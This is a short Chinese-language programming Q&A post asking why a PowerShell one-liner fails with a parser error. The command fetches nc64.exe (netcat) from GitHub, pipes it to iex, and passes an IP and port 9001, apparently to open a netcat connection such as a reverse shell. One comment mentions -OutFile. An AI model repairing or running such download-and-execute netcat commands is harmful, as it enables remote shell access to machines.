【发布时间】:2021-10-01 23:47:04
【问题描述】:
我正在尝试使用 powershell 下载并执行带有参数的文件:
. { iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true } | iex; <IP> 9001
我收到此错误:
Unexpected token '9001' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
任何帮助表示赞赏。
【问题讨论】:
-
如果你想下载你应该使用
-OutFile
标签: windows powershell powershell-remoting